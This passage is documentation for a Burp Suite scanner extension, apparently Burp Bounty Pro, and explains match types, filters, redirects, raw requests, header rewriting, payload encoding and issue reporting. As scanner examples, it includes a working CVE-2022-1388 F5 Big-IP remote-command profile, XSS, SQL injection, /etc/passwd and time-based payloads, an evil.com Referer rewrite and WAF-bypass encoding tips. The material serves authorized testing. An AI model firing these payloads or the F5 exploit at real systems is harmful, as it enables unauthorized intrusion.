| operator  | Logic operator (empty for first pattern) | (empty), `AND`, `OR`                             |
| type      | Pattern matching method                  | `Simple String`, `Regex`                         |
| scope     | Where to search                          | (empty = all), `Only in Headers`, `Only in Body` |
| pattern   | The search string or regex               | Any string                                       |

### ⚙️ Operator Logic

Grep patterns are grouped by operators and evaluated with short-circuit optimization:

```
Pattern1 AND Pattern2 OR Pattern3 AND Pattern4
```

Evaluates as:

```
(Pattern1 AND Pattern2) OR (Pattern3 AND Pattern4)
```

* ✅ **AND groups** are evaluated left to right; if any pattern fails, the group fails
* 🔀 **OR** connects groups; if any group passes, the result is true

## 🎯 Response Scope

Control where in the response patterns are searched:

| Scope             | Description                                    |
| ----------------- | ---------------------------------------------- |
| *(empty)*         | 🌐 Search the entire response (headers + body) |
| `Only in Headers` | 📋 Search only in HTTP response headers        |
| `Only in Body`    | 📄 Search only in the response body            |

## ⚡ Special Match Types

### 🪞 Payload Reflection (MatchType 3)

Checks if the exact payload appears in the response.

```json
{
  "MatchType": 3,
  "PayloadResponse": true
}
```

The scanner sends the payload and checks if the response contains the unmodified payload string. Useful for reflected XSS detection.

### 🪞 Payload Reflection Without Encoding (MatchType 4)

Like MatchType 3, but checks for the payload before any encoding was applied.

```json
{
  "MatchType": 4,
  "PayloadResponse": true
}
```

### ⏱️ Timeout (MatchType 5)

Detects time-based vulnerabilities by measuring response time.

```json
{
  "MatchType": 5,
  "isTime": true,
  "TimeOut1": "5000",
  "TimeOut2": "10000"
}
```

Comparison modes:

* 📊 **Between** — Response time is between TimeOut1 and TimeOut2 (milliseconds)
* ⬆️ **Greater than** — Response time exceeds TimeOut1
* ⬇️ **Less than** — Response time is below TimeOut1

Use cases:

* 🗄️ Time-based SQL injection (e.g., `SLEEP(5)`)
* ⚡ Time-based blind command injection
* 🖥️ Server-side processing delays

### 📏 Content Length (MatchType 6)

Detects vulnerabilities by comparing response content length differences.

```json
{
  "MatchType": 6,
  "iscontentLength": true,
  "contentLength": "100"
}
```

The scanner:

1. 📡 Sends a baseline request (without payload)
2. 💉 Sends the payload request
3. 📊 Compares content lengths
4. 🐛 If the difference exceeds the threshold, reports an issue

Use cases:

* 🗄️ Boolean-based SQL injection
* 🔓 Access control bypasses (different response sizes)

### 📊 Variations (MatchType 7)

Detects changes in specific response attributes between baseline and payload requests.

```json
{
  "MatchType": 7,
  "VariationAttributes": [
    "status_code",
    "content_type",
    "content_length",
    "tag_count"
  ]
}
```

The scanner compares the specified attributes between the baseline response and the payload response. If any attributes differ, it reports an issue.

### 📊 Invariations (MatchType 8)

The opposite of Variations — detects when response attributes remain the **same** when they should differ.

```json
{
  "MatchType": 8,
  "VariationAttributes": [
    "content_length"
  ]
}
```

### 🔢 HTTP Response Code (MatchType 9)

Matches specific HTTP status codes in the response.

```json
{
  "MatchType": 9,
  "IsResponseCode": true,
  "ResponseCode": "200"
}
```

Use cases:

* 📂 Path discovery (200 vs 404)
* 🔓 Authentication bypass (200 vs 401/403)
* ⚠️ Server errors (500)

## 🌐 Collaborator-Based Detection

For out-of-band vulnerability detection using Burp Collaborator:

1. 🔧 Use `{BC}` variable in payloads to generate a Collaborator subdomain
2. 🔄 The scanner periodically polls Burp Collaborator for interactions
3. ✅ If an interaction is detected, the vulnerability is confirmed

```json
{
  "Payloads": [
    "true,http://{BC}/test"
  ]
}
```

Collaborator detection is **asynchronous** — results may appear after the scan completes. The polling interval is configurable in Options (`collaboratorRefreshtime`).

> ⚠️ **Note:** Collaborator-based profiles are excluded from the stop-on-first-match optimization since detection happens asynchronously.

## 🔄 Negative Matching

Set `NotResponse: true` to invert the match logic — the issue is reported when the pattern is **NOT** found:

```json
{
  "NotResponse": true,
  "Grep": [
    "true,,Simple String,Only in Headers,Strict-Transport-Security"
  ]
}
```

This reports an issue when the `Strict-Transport-Security` header is missing. Commonly used for security header checks in Passive Response profiles.


# Grep Options

Grep options provide additional controls for how match patterns are evaluated and how responses are filtered before matching.

## ⚙️ Match Modifiers

### 🔄 Negative Match (`NotResponse`)

Inverts the match logic — the issue is reported when the pattern is **NOT** found in the response.

```json
{
  "NotResponse": true,
  "Grep": ["true,,Simple String,Only in Headers,X-Frame-Options"]
}
```

**Use cases:**

* 🛡️ Detecting missing security headers (HSTS, CSP, X-Frame-Options, X-Content-Type-Options)
* 🔒 Detecting missing authentication requirements
* ✅ Verifying security controls are in place

### 🔤 Case Sensitive (`CaseSensitive`)

Controls whether pattern matching is case-sensitive.

```json
{
  "CaseSensitive": true,
  "Grep": ["true,,Simple String,,AdminPanel"]
}
```

* ✅ `true` — Exact case must match (`AdminPanel` matches, `adminpanel` does not)
* 🔀 `false` — Case-insensitive matching (`AdminPanel` and `adminpanel` both match)

Default: `false` (case-insensitive)

## 🎯 Response Scope Filters

### 🚫 Exclude HTTP Headers (`ExcludeHTTP`)

Excludes HTTP response headers from the match scope — patterns are only matched against the response body.

```json
{
  "ExcludeHTTP": true,
  "Grep": ["true,,Simple String,,password"]
}
```

### 📋 Only HTTP Headers (`OnlyHTTP`)

Restricts matching to HTTP response headers only — the response body is ignored.

```json
{
  "OnlyHTTP": true,
  "Grep": ["true,,Simple String,,Set-Cookie:"]
}
```

> 📝 **Note:** You can also set scope per-pattern using the scope field in the grep entry: `Only in Headers` or `Only in Body`.

## 🔽 Pre-Request Filters

These filters are applied **before** the request is sent, allowing you to skip irrelevant requests early and save time.

### 📄 Content-Type Filter (`IsContentType`)

Only process responses with a specific Content-Type.

```json
{
  "IsContentType": true,
  "ContentType": "text/html",
  "NegativeCT": false
}
```

| Field           | Description                                                                |
| --------------- | -------------------------------------------------------------------------- |
| `IsContentType` | ✅ Enable Content-Type filtering                                            |
| `ContentType`   | 📄 The expected Content-Type value (partial match)                         |
| `NegativeCT`    | 🔄 `true` = exclude this Content-Type, `false` = require this Content-Type |

**📝 Examples:**

✅ Only scan HTML responses:

```json
{ "IsContentType": true, "ContentType": "text/html", "NegativeCT": false }
```

🚫 Skip JSON responses:

```json
{ "IsContentType": true, "ContentType": "application/json", "NegativeCT": true }
```

### 🔢 Response Code Filter (`IsResponseCode`)

Only process responses with a specific HTTP status code.

```json
{
  "IsResponseCode": true,
  "ResponseCode": "200",
  "NegativeRC": false
}
```

| Field            | Description                                                |
| ---------------- | ---------------------------------------------------------- |
| `IsResponseCode` | ✅ Enable status code filtering                             |
| `ResponseCode`   | 🔢 The expected HTTP status code                           |
| `NegativeRC`     | 🔄 `true` = exclude this code, `false` = require this code |

**📝 Examples:**

✅ Only scan successful responses:

```json
{ "IsResponseCode": true, "ResponseCode": "200", "NegativeRC": false }
```

🚫 Skip 404 responses:

```json
{ "IsResponseCode": true, "ResponseCode": "404", "NegativeRC": true }
```

### 📁 URL Extension Filter (`isurlextension`)

Only process requests with specific URL file extensions.

```json
{
  "isurlextension": true,
  "urlextension": "php,asp,aspx,jsp",
  "NegativeUrlExtension": false
}
```

| Field                  | Description                                                              |
| ---------------------- | ------------------------------------------------------------------------ |
| `isurlextension`       | ✅ Enable URL extension filtering                                         |
| `urlextension`         | 📄 Comma-separated list of extensions (without dots)                     |
| `NegativeUrlExtension` | 🔄 `true` = exclude these extensions, `false` = require these extensions |

**📝 Examples:**

✅ Only scan PHP and JSP files:

```json
{ "isurlextension": true, "urlextension": "php,jsp", "NegativeUrlExtension": false }
```

🚫 Skip static files:

```json
{ "isurlextension": true, "urlextension": "js,css,png,jpg,gif,svg,woff,woff2", "NegativeUrlExtension": true }
```

## 🔗 Combining Filters

Filters can be combined to precisely target the responses you want to analyze:

```json
{
  "IsContentType": true,
  "ContentType": "text/html",
  "NegativeCT": false,
  "IsResponseCode": true,
  "ResponseCode": "200",
  "NegativeRC": false,
  "isurlextension": true,
  "urlextension": "js,css,png,jpg",
  "NegativeUrlExtension": true
}
```

This configuration:

* ✅ Only processes HTML responses
* ✅ Only processes 200 OK responses
* 🚫 Skips static file extensions

## 🎯 Grep Scope per Pattern

In addition to the global `ExcludeHTTP`/`OnlyHTTP` flags, each grep pattern can specify its own scope:

```json
"Grep": [
  "true,,Simple String,Only in Headers,Set-Cookie: admin=",
  "true,OR,Simple String,Only in Body,Welcome Administrator",
  "true,OR,Simple String,,admin"
]
```

| Scope             | Description                     |
| ----------------- | ------------------------------- |
| *(empty)*         | 🌐 Search entire response       |
| `Only in Headers` | 📋 Search only in HTTP headers  |
| `Only in Body`    | 📄 Search only in response body |

## ⚡ Filter Evaluation Order

Filters are evaluated in this order to maximize performance:

1. 📁 **URL Extension** — Skip requests to static files
2. 🔢 **Response Code** — Skip responses with wrong status codes
3. 📄 **Content-Type** — Skip responses with wrong content types
4. 🔍 **Grep Matching** — Apply match patterns to the filtered response

This early filtering pipeline prevents unnecessary processing and reduces scan time.


# Redirections

HTTP redirect handling is critical for active scanning. Many vulnerabilities are only visible after following one or more redirects (e.g., open redirects, certain XSS, authentication bypasses).

## 📊 Redirect Types

The `RedirType` field controls how Burp Bounty Pro handles HTTP redirects during active scanning:

| RedirType | Name                    | Behavior                                                                     |
| --------- | ----------------------- | ---------------------------------------------------------------------------- |
| 0         | 🚫 **Never**            | Never follow redirects. Only analyze the initial response.                   |
| 1         | 🏠 **On-site only**     | Follow redirects only if the target host matches the original request host.  |
| 2         | 🎯 **In-scope only**    | Follow redirects only if the target URL is within Burp Suite's target scope. |
| 3         | 🌐 **Always**           | Follow all redirects regardless of destination.                              |
| 4         | 🔢 **Follow redirects** | Follow redirects up to the configured maximum limit.                         |

## 🔢 Maximum Redirects

The `MaxRedir` field sets the maximum number of redirects to follow per request chain:

```json
{
  "RedirType": 4,
  "MaxRedir": 5
}
```

This follows up to 5 redirects before stopping.

## 📋 Supported Redirect Status Codes

Burp Bounty Pro handles these HTTP redirect status codes:

| Code | Name               | Description                             |
| ---- | ------------------ | --------------------------------------- |
| 300  | Multiple Choices   | 🔀 Multiple redirect options            |
| 301  | Moved Permanently  | 📌 Permanent redirect                   |
| 302  | Found              | 🔄 Temporary redirect                   |
| 303  | See Other          | ➡️ Redirect with GET method             |
| 307  | Temporary Redirect | 🔄 Temporary redirect preserving method |
| 308  | Permanent Redirect | 📌 Permanent redirect preserving method |

## 🛡️ Redirect Loop Protection

To prevent infinite redirect loops, Burp Bounty Pro enforces a hard limit of **30 redirects** per request chain, regardless of the `MaxRedir` setting.

## 🎯 Choosing the Right Redirect Mode

### 🔄 Open Redirect Testing

```json
{
  "RedirType": 4,
  "MaxRedir": 5
}
```

Follow redirects to verify the server redirects to the attacker-controlled domain. Match the `Location` header or response body after redirection.

### 🌐 SSRF Testing

```json
{
  "RedirType": 0
}
```

Often best to **not** follow redirects when testing SSRF. Check the initial response for redirect headers pointing to internal resources, or use Burp Collaborator for out-of-band confirmation.

### 💉 XSS Testing

```json
{
  "RedirType": 4,
  "MaxRedir": 3
}
```

Follow a few redirects to check if the payload is reflected in the final response after any redirects.

### 📂 Path Traversal

```json
{
  "RedirType": 1,
  "MaxRedir": 3
}
```

Follow on-site redirects only to handle 301 redirects for directory normalization.

### 🛡️ Security Header Checks

```json
{
  "RedirType": 0
}
```

Never follow redirects — check the headers on the initial response.

## 📚 Example Configurations

### 🌐 CORS Misconfiguration

```json
{
  "RedirType": 4,
  "MaxRedir": 3
}
```

Follow a few redirects since CORS headers may only appear after redirection.

### 🔄 Open Redirect with Parameter Pollution

```json
{
  "RedirType": 4,
  "MaxRedir": 4
}
```

Follow redirects and match the redirect chain for the attacker domain.

### 🐛 CVE Exploitation

```json
{
  "RedirType": 4,
  "MaxRedir": 5
}
```

Follow redirects generously since exploit responses may involve multiple redirects.


# Raw Request

Raw Request mode allows you to define a complete HTTP request template with payload injection points. Instead of relying on Burp Suite's insertion point detection, you craft the exact request to send, using variables for dynamic values.

## ⚙️ Enabling Raw Request Mode

Set `requestType` to `2` to enable Raw Request mode:

```json
{
  "requestType": 2,
  "rawRequest": "POST /api/login HTTP/1.1\r\nHost: {CURRENT_HOST}\r\nContent-Type: application/json\r\n\r\n{\"username\":\"{PAYLOAD}\",\"password\":\"test\"}"
}
```

## 🔧 Raw Request Variables

The following variables are available in raw request templates:

### 💉 Payload Variables

| Variable        | Description                                                          |
| --------------- | -------------------------------------------------------------------- |
| `{PAYLOAD}`     | 🎯 The current payload value (replaced for each payload in the list) |
| `{PAYLOAD_URL}` | 🔗 The current payload, URL-encoded                                  |

### 📡 Request Context Variables

| Variable                 | Description                                   |
| ------------------------ | --------------------------------------------- |
| `{URL}`                  | 🔗 The full target URL                        |
| `{COOKIE}`               | 🍪 The cookies from the original request      |
| `{CURRENT_HOST}`         | 🖥️ The target hostname                       |
| `{CURRENT_PROTOCOL}`     | 🔒 `http` or `https`                          |
| `{CURRENT_PORT}`         | 🔢 The target port                            |
| `{CURRENT_PATH}`         | 📂 The URL path                               |
| `{CURRENT_QUERY}`        | ❓ The query string                            |
| `{CURRENT_METHOD}`       | 📡 The HTTP method                            |
| `{CURRENT_USER_AGENT}`   | 🖥️ The User-Agent from the original request  |
| `{CURRENT_REFERER}`      | 🔗 The Referer from the original request      |
| `{CURRENT_ORIGIN}`       | 🌐 The Origin from the original request       |
| `{CURRENT_CONTENT_TYPE}` | 📄 The Content-Type from the original request |

### 🌐 Global Variables

All global variables (`{REDIRECT_DOMAIN}`, `{BC}`, `{ATTACKER_DOMAIN}`, etc.) are also available.

## 🎯 Use Cases

### 📡 Custom HTTP Methods

Test non-standard HTTP methods:

```
PROPFIND / HTTP/1.1
Host: {CURRENT_HOST}
Content-Type: application/xml

<?xml version="1.0"?>
<propfind xmlns="DAV:">
  <allprop/>
</propfind>
```

### 🔗 Specific Request Structure

Test a specific API endpoint with a custom body:

```
POST /api/v1/execute HTTP/1.1
Host: {CURRENT_HOST}
Content-Type: application/json
Authorization: Bearer {COOKIE}

{"command":"{PAYLOAD}","timeout":30}
```

### 📄 XML/SOAP Requests

Test XML-based services:

```
POST /service HTTP/1.1
Host: {CURRENT_HOST}
Content-Type: text/xml
SOAPAction: "urn:execute"

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <execute>
      <input>{PAYLOAD}</input>
    </execute>
  </soap:Body>
</soap:Envelope>
```

### 🔗 GraphQL Queries

Test GraphQL endpoints:

```
POST /graphql HTTP/1.1
Host: {CURRENT_HOST}
Content-Type: application/json

{"query":"{ user(id: \"{PAYLOAD}\") { name email } }"}
```

### 📁 Multipart Requests

Test file upload endpoints:

```
POST /upload HTTP/1.1
Host: {CURRENT_HOST}
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="{PAYLOAD}"
Content-Type: application/octet-stream

file_content_here
------Boundary--
```

## 🔍 Matching in Raw Request Mode

The same match types and grep options apply to Raw Request mode. The response from the raw request is analyzed using the profile's configured grep patterns, match type, and response filters.

Raw request mode supports all match types:

* 📝 Simple String / Regex matching
* ⏱️ Timeout detection (raw-specific implementation)
* 🔢 HTTP Response Code matching
* 📏 Content Length comparison
* 📊 Variations / Invariations
* 🌐 Collaborator detection

## 📚 Example Profile

```json
[
  {
    "ProfileName": "CVE-2022-1388_F5_Big_IP_RCE",
    "Enabled": true,
    "Scanner": 1,
    "requestType": 2,
    "rawRequest": "POST /mgmt/tm/util/bash HTTP/1.1\r\nHost: {CURRENT_HOST}\r\nAuthorization: Basic YWRtaW46\r\nContent-Type: application/json\r\nConnection: X-F5-Auth-Token\r\nX-F5-Auth-Token: 0\r\n\r\n{\"command\":\"run\",\"utilCmdArgs\":\"-c {PAYLOAD}\"}",
    "Payloads": [
      "true,id"
    ],
    "Grep": [
      "true,,Regex,,uid=[0-9]+\\(.*\\)"
    ],
    "MatchType": 2,
    "IssueName": "CVE-2022-1388 F5 Big-IP RCE",
    "IssueSeverity": "High",
    "IssueConfidence": "Certain",
    "IssueDetail": "<br/>- PAYLOAD: <br/><payload>\n<br/><br/>\n- GREP: <br/><grep>"
  }
]
```

## 📊 Differences from Standard Mode

| Aspect                       | Standard (requestType=1)                | Raw (requestType=2)                 |
| ---------------------------- | --------------------------------------- | ----------------------------------- |
| 🏗️ Request construction     | Burp Suite builds the request           | You define the complete request     |
| 📍 Insertion points          | Auto-detected by Burp                   | You place `{PAYLOAD}` where needed  |
| 🔢 Multiple injection points | One per insertion point                 | Multiple `{PAYLOAD}` in one request |
| 📡 HTTP method               | From original request (or modified)     | Defined in raw template             |
| 📋 Headers                   | From original request (can be modified) | Defined in raw template             |
| 🍪 Cookie handling           | Automatic                               | Manual via `{COOKIE}` variable      |

## 💡 Tips

* 📝 **Use `\r\n`** for line endings in raw requests (HTTP standard)
* 🖥️ **Always include Host header** using `{CURRENT_HOST}` to ensure requests go to the right target
* 🍪 **Use `{COOKIE}`** to forward cookies from the original request
* 🔗 **Use `{PAYLOAD_URL}`** when the payload needs URL encoding within the raw request
* 🧪 **Test manually first** — Use Burp Repeater to verify your raw request works before creating a profile


# Match and Replace

Match and Replace allows you to modify HTTP requests before they are sent during active scanning. This is useful for changing request methods, modifying headers, or transforming request content.

## 📡 HTTP Method Change

The `changeHttpRequest` and `changeHttpRequestType` fields control HTTP method transformation:

```json
{
  "changeHttpRequest": true,
  "changeHttpRequestType": 1
}
```

| changeHttpRequestType | Behavior                                         |
| --------------------- | ------------------------------------------------ |
| 1                     | 🔄 **POST → GET** — Convert POST requests to GET |
| 2                     | 🔄 **GET → POST** — Convert GET requests to POST |
| 3                     | 🔁 **Toggle** — Switch between GET and POST      |

### 🎯 Use Cases

* 🔓 **Testing for method-based access control bypasses** — Some endpoints enforce different authorization on GET vs POST
* 🔍 **Testing parameter handling** — Check if parameters are processed the same way in different methods
* 🛡️ **Bypassing WAF rules** — Some WAF rules only apply to specific HTTP methods

## 📋 Header Match and Replace

The `Header` field defines find/replace rules applied to request headers before sending:

```json
{
  "Header": [
    {
      "type": "Request",
      "match": "Content-Type: application/x-www-form-urlencoded",
      "replace": "Content-Type: application/json",
      "regex": "String"
    }
  ]
}
```

### ⚙️ Header Object Fields

| Field     | Description                       | Values                                                   |
| --------- | --------------------------------- | -------------------------------------------------------- |
| `type`    | 📍 Where to apply the replacement | `Request` (request headers), `Payload` (payload content) |
| `match`   | 🔍 The pattern to find            | String or regex pattern                                  |
| `replace` | 🔄 The replacement value          | Replacement string                                       |
| `regex`   | ⚙️ Matching mode                  | `String` (literal match), or regex pattern               |

### 📚 Examples

**📄 Change Content-Type:**

```json
{
  "type": "Request",
  "match": "Content-Type: application/x-www-form-urlencoded",
  "replace": "Content-Type: application/json",
  "regex": "String"
}
```

**➕ Add a custom header:**

```json
{
  "type": "Request",
  "match": "\r\n\r\n",
  "replace": "\r\nX-Custom-Header: value\r\n\r\n",
  "regex": "String"
}
```

**🗑️ Remove a header:**

```json
{
  "type": "Request",
  "match": "X-Unwanted-Header: .*\r\n",
  "replace": "",
  "regex": "Regex"
}
```

**💉 Modify payload content:**

```json
{
  "type": "Payload",
  "match": "PLACEHOLDER",
  "replace": "actual_value",
  "regex": "String"
}
```

## 🔗 Combining with Other Features

### 🔄 Method Change + Header Modification

```json
{
  "changeHttpRequest": true,
  "changeHttpRequestType": 1,
  "Header": [
    {
      "type": "Request",
      "match": "Content-Type: application/x-www-form-urlencoded",
      "replace": "Content-Type: text/plain",
      "regex": "String"
    }
  ]
}
```

This converts POST to GET and changes the Content-Type header.

### 📋 Header Modification + New Headers

```json
{
  "isHeaderValue": true,
  "NewHeaders": ["Origin"],
  "Header": [
    {
      "type": "Request",
      "match": "Referer: .*",
      "replace": "Referer: https://evil.com",
      "regex": "Regex"
    }
  ]
}
```

This adds the payload as the Origin header value while also modifying the Referer header.

## ⚡ Application Order

Match and Replace rules are applied in this order:

1. 🔄 HTTP method change (if `changeHttpRequest: true`)
2. 📋 Header match/replace rules (from `Header` array)
3. 💉 Payload injection into insertion points
4. 🔧 Variable replacement
5. 📡 Request is sent


# Payload Encoding

Payload encoding transforms payloads before injection, which is essential for bypassing input validation, WAFs, and encoding-specific attack vectors.

## 📊 Encoding Types

The `Encoder` field specifies which encoding transformations to apply to payloads:

### 🔗 URL-Encode Key Characters

Encodes only the characters that have special meaning in URLs:

```
< > " ' & / \ ; = ( ) { } [ ] | ` ~ !
```

**Before:** `<script>alert(1)</script>` **After:** `%3Cscript%3Ealert(1)%3C%2Fscript%3E`

### 🔗 URL-Encode All Characters

Encodes every character in the payload as `%XX`:

**Before:** `test` **After:** `%74%65%73%74`

### 📝 HTML-Encode Key Characters

Encodes characters using HTML entities:

```
< → &lt;
> → &gt;
" → &quot;
' → &#x27;
& → &amp;
```

**Before:** `<img src=x onerror=alert(1)>` **After:** `&lt;img src=x onerror=alert(1)&gt;`

### 🔒 Base64-Encode

Encodes the entire payload as Base64:

**Before:** `admin:password` **After:** `YWRtaW46cGFzc3dvcmQ=`

### 🌐 Unicode-Encode

Encodes characters using Unicode escape sequences:

**Before:** `<script>` **After:** `\u003cscript\u003e`

## ⚙️ Configuration

### 📝 Using the Encoder Field

```json
{
  "Encoder": [
    "URL-encode key characters"
  ]
}
```

🔗 Multiple encoders can be chained — they are applied in sequence:

```json
{
  "Encoder": [
    "URL-encode key characters",
    "Base64-encode"
  ]
}
```

### 🎯 URL-Encode Specific Characters

For fine-grained control, use `UrlEncode` and `CharsToUrlEncode`:

```json
{
  "UrlEncode": true,
  "CharsToUrlEncode": "<>\"'&"
}
```

| Field              | Description                              |
| ------------------ | ---------------------------------------- |
| `UrlEncode`        | ✅ Enable custom URL encoding             |
| `CharsToUrlEncode` | 🔤 The specific characters to URL-encode |

## 📚 Encoding Examples by Vulnerability Type

### 💉 XSS with URL Encoding

```json
{
  "Payloads": ["true,<script>alert(1)</script>"],
  "Encoder": ["URL-encode key characters"]
}
```

Useful when the application URL-decodes input before rendering.

### 🗄️ SQL Injection with Space Encoding

```json
{
  "Payloads": ["true,' OR '1'='1"],
  "UrlEncode": true,
  "CharsToUrlEncode": " '"
}
```

Encodes only spaces and quotes for SQL injection payloads.

### 📄 XXE with Base64

```json
{
  "Payloads": ["true,file:///etc/passwd"],
  "Encoder": ["Base64-encode"]
}
```

Useful when the application processes Base64-encoded XML entities.

### 🛡️ WAF Bypass with Unicode

```json
{
  "Payloads": ["true,<script>alert(1)</script>"],
  "Encoder": ["Unicode-encode"]
}
```

Unicode encoding can bypass WAF rules that only check for ASCII patterns.

## ⚡ Encoding Pipeline

The full payload processing pipeline with encoding:

```
📄 Raw Payload
  → ✅ Filter enabled payloads (true, prefix)
  → 🔐 Apply Encoder transformations (in order)
  → 🔗 Apply UrlEncode + CharsToUrlEncode (if enabled)
  → 🔧 Replace variables ({REDIRECT_DOMAIN}, {BC}, etc.)
  → 💉 Inject into insertion point
  → 📡 Send request
```

## 💡 Tips

* 🧪 **Test encodings manually** — Use Burp Decoder to verify your encoding produces the expected result
* 🔗 **Chain encodings** — Double encoding (e.g., URL-encode twice) can bypass some WAFs
* 🎯 **Use `CharsToUrlEncode`** for precise control — Only encode the characters that need encoding
* 🪞 **Match encoded payloads** — When using Payload Reflection match type (MatchType 3 vs 4), be aware that MatchType 3 checks for the encoded payload while MatchType 4 checks for the original


# Issue Properties

Issue properties define how detected vulnerabilities are reported in Burp Suite. Each profile configures the issue name, severity, confidence, and detailed description.

## 📋 Issue Fields

### 📝 Issue Name (`IssueName`)

The title of the vulnerability as it appears in Burp Suite's issue list.

```json
{
  "IssueName": "Reflected Cross-Site Scripting (XSS)"
}
```

**💡 Best practices:**

* ✅ Use descriptive names that identify the vulnerability type
* 🐛 Include the CVE number for known vulnerabilities (e.g., `CVE-2021-44228 Log4j RCE`)
* 📝 Keep names concise but informative

### ⚠️ Issue Severity (`IssueSeverity`)

The severity level of the vulnerability:

| Value              | Description               | When to Use                                                   |
| ------------------ | ------------------------- | ------------------------------------------------------------- |
| 🔴 `High`          | Critical vulnerability    | RCE, SQLi, authentication bypass, data breach                 |
| 🟠 `Medium`        | Significant vulnerability | XSS, CSRF, open redirect, SSRF                                |
| 🟡 `Low`           | Minor vulnerability       | CORS misconfiguration, information disclosure                 |
| 🔵 `Information`   | Informational finding     | Technology detection, missing headers, interesting parameters |
| ⚪ `False positive` | Known false positive      | Mark findings that are not actual vulnerabilities             |

### 🎯 Issue Confidence (`IssueConfidence`)

The confidence level of the detection:

| Value          | Description            | When to Use                                                                   |
| -------------- | ---------------------- | ----------------------------------------------------------------------------- |
| ✅ `Certain`    | Verified vulnerability | Response clearly confirms the vulnerability (e.g., payload reflected exactly) |
| 🟢 `Firm`      | Likely vulnerability   | Strong indicators but not 100% confirmed                                      |
| 🟡 `Tentative` | Possible vulnerability | Weak indicators, requires manual verification                                 |

## 📄 Issue Detail (`IssueDetail`)

The detailed description of the finding. Supports HTML formatting and dynamic placeholders.

### 🔧 Placeholders

| Placeholder | Replaced With                       |
| ----------- | ----------------------------------- |
| `<payload>` | 💉 The actual payload that was sent |
| `<grep>`    | 🔍 The grep pattern that matched    |

### 📝 Example

```json
{
  "IssueDetail": "<br/>- PAYLOAD: <br/><payload>\n<br/><br/>\n- GREP: <br/><grep>"
}
```

At runtime, this renders as:

```
- PAYLOAD:
<script>alert(1)</script>

- GREP:
<script>alert(1)</script>
```

### 📚 Detailed Example with Background

```json
{
  "IssueDetail": "The application is vulnerable to reflected XSS. The following payload was injected and reflected in the response without proper encoding:\n\n<br/><br/>- PAYLOAD: <br/><payload>\n<br/><br/>\n- GREP: <br/><grep>\n\n<br/><br/>This allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session."
}
```

## 📖 Issue Background (`IssueBackground`)

General background information about the vulnerability type. This appears in the "Issue background" section of Burp's issue details.

```json
{
  "IssueBackground": "Cross-Site Scripting (XSS) vulnerabilities allow attackers to inject malicious scripts into web pages viewed by other users. These scripts can steal session tokens, redirect users to malicious sites, or modify page content."
}
```

## 🔧 Remediation Detail (`RemediationDetail`)

Specific remediation guidance for the detected vulnerability.

```json
{
  "RemediationDetail": "Implement proper output encoding for all user-supplied input. Use context-appropriate encoding (HTML entity encoding for HTML contexts, JavaScript encoding for JS contexts). Consider implementing a Content Security Policy (CSP) as a defense-in-depth measure."
}
```

## 📖 Remediation Background (`RemediationBackground`)

General remediation background information about the vulnerability class.

```json
{
  "RemediationBackground": "Input validation and output encoding are the primary defenses against injection vulnerabilities. Always validate input on the server side and encode output based on the context where it will be rendered."
}
```

## 📚 Complete Example

```json
{
  "IssueName": "SQL Injection",
  "IssueSeverity": "High",
  "IssueConfidence": "Firm",
  "IssueDetail": "A potential SQL injection vulnerability was detected. The following payload caused an anomalous response:\n\n<br/><br/>- PAYLOAD: <br/><payload>\n<br/><br/>\n- GREP: <br/><grep>",
  "IssueBackground": "SQL injection vulnerabilities arise when user-controllable data is incorporated into database queries without proper sanitization. An attacker can manipulate the SQL query to access, modify, or delete data in the database.",
  "RemediationDetail": "Use parameterized queries (prepared statements) for all database operations. Never concatenate user input directly into SQL queries.",
  "RemediationBackground": "The most effective defense against SQL injection is to use parameterized queries, which separate SQL logic from data values."
}
```

## 🖥️ How Issues Appear in Burp Suite

When a match is found, Burp Bounty Pro creates an issue that appears in:

1. 📊 **Burp Bounty Pro Dashboard** — The Issues table in the Dashboard tab
2. 📋 **Burp Suite Dashboard** — The global Issue activity panel
3. 🗺️ **Target Site Map** — As annotations on affected URLs

Each issue includes:

* ⚠️ The configured severity and confidence
* 📡 The full request/response pair
* 🔴 Highlighted payload and grep matches (markers shown in red)
* 📄 The issue detail with placeholder values replaced


# Tags

Tags are labels used to categorize and organize profiles. They enable powerful filtering, tag-based passive scan launching, and are the key mechanism for targeting groups of profiles in Smart Scan rules.

## ⚙️ How Tags Work

Every profile has a `Tags` array containing one or more tag strings:

```json
{
  "Tags": ["All", "XSS", "Reflected"]
}
```

Tags are used for:

1. 🔍 **Filtering profiles** in the Profiles tab — View profiles by category using the tag dropdown
2. 👁️ **Launching passive scans by tag** — Right-click context menu lets you run only passive profiles with a specific tag
3. 🧠 **Targeting profiles in Rules** — Execute all profiles with a specific tag when rule conditions are met
4. 📂 **Organizing profiles** — Group related profiles logically across all three profile types

## 📊 Tags in All Profile Tables

Tags are displayed in **all three profile tables** — Active, Passive Request, and Passive Response:

|    | Table                | Columns                                           |
| -- | -------------------- | ------------------------------------------------- |
| 🎯 | **Active Profiles**  | Enabled, Profile Name, **Tags**, Author's Twitter |
| 📨 | **Passive Request**  | Enabled, Profile Name, **Tags**, Author's Twitter |
| 📩 | **Passive Response** | Enabled, Profile Name, **Tags**, Author's Twitter |

## 🏷️ Assigning Tags with "Set New Tag"

You can quickly assign tags to profiles directly from the profile tables using the right-click context menu:

### Steps

1. Select one or more profiles in any profile table (Active, Passive Request, or Passive Response)
2. Right-click to open the context menu
3. Click **Set New Tag**
4. In the dialog, enter the tag name
5. Click OK — the tag is added to all selected profiles ✅

> 💡 **Tip:** Select multiple profiles with **Ctrl+Click** or **Shift+Click**, then use **Set New Tag** to tag them all at once. This is the fastest way to organize a large number of profiles.

### What Happens

* ✅ The tag is added to each selected profile's `Tags` array in its `.bb` file
* 🔁 If the tag already exists in a profile, it's not duplicated
* 📝 The tag is added to the global tags list (tags.txt)
* 🔄 The Tags column and tag dropdown are updated immediately
* 👁️ The tag becomes available in the passive scan context menu

## 🌐 The "All" Tag

The special `All` tag is included in most profiles by convention. It allows rules to target all profiles at once:

```json
{
  "Tags": ["All"]
}
```

> ⚠️ **Warning:** Rules that execute the `All` tag will trigger **every** active profile, which can be very resource-intensive. Use with caution.

## 📦 Default Tags

The bundled profiles use these tags for categorization:

| Tag                | Description                         | Count |
| ------------------ | ----------------------------------- | ----- |
| `All`              | All profiles                        | \~254 |
| `XSS`              | Cross-Site Scripting                | \~15  |
| `SQLi`             | SQL Injection                       | \~8   |
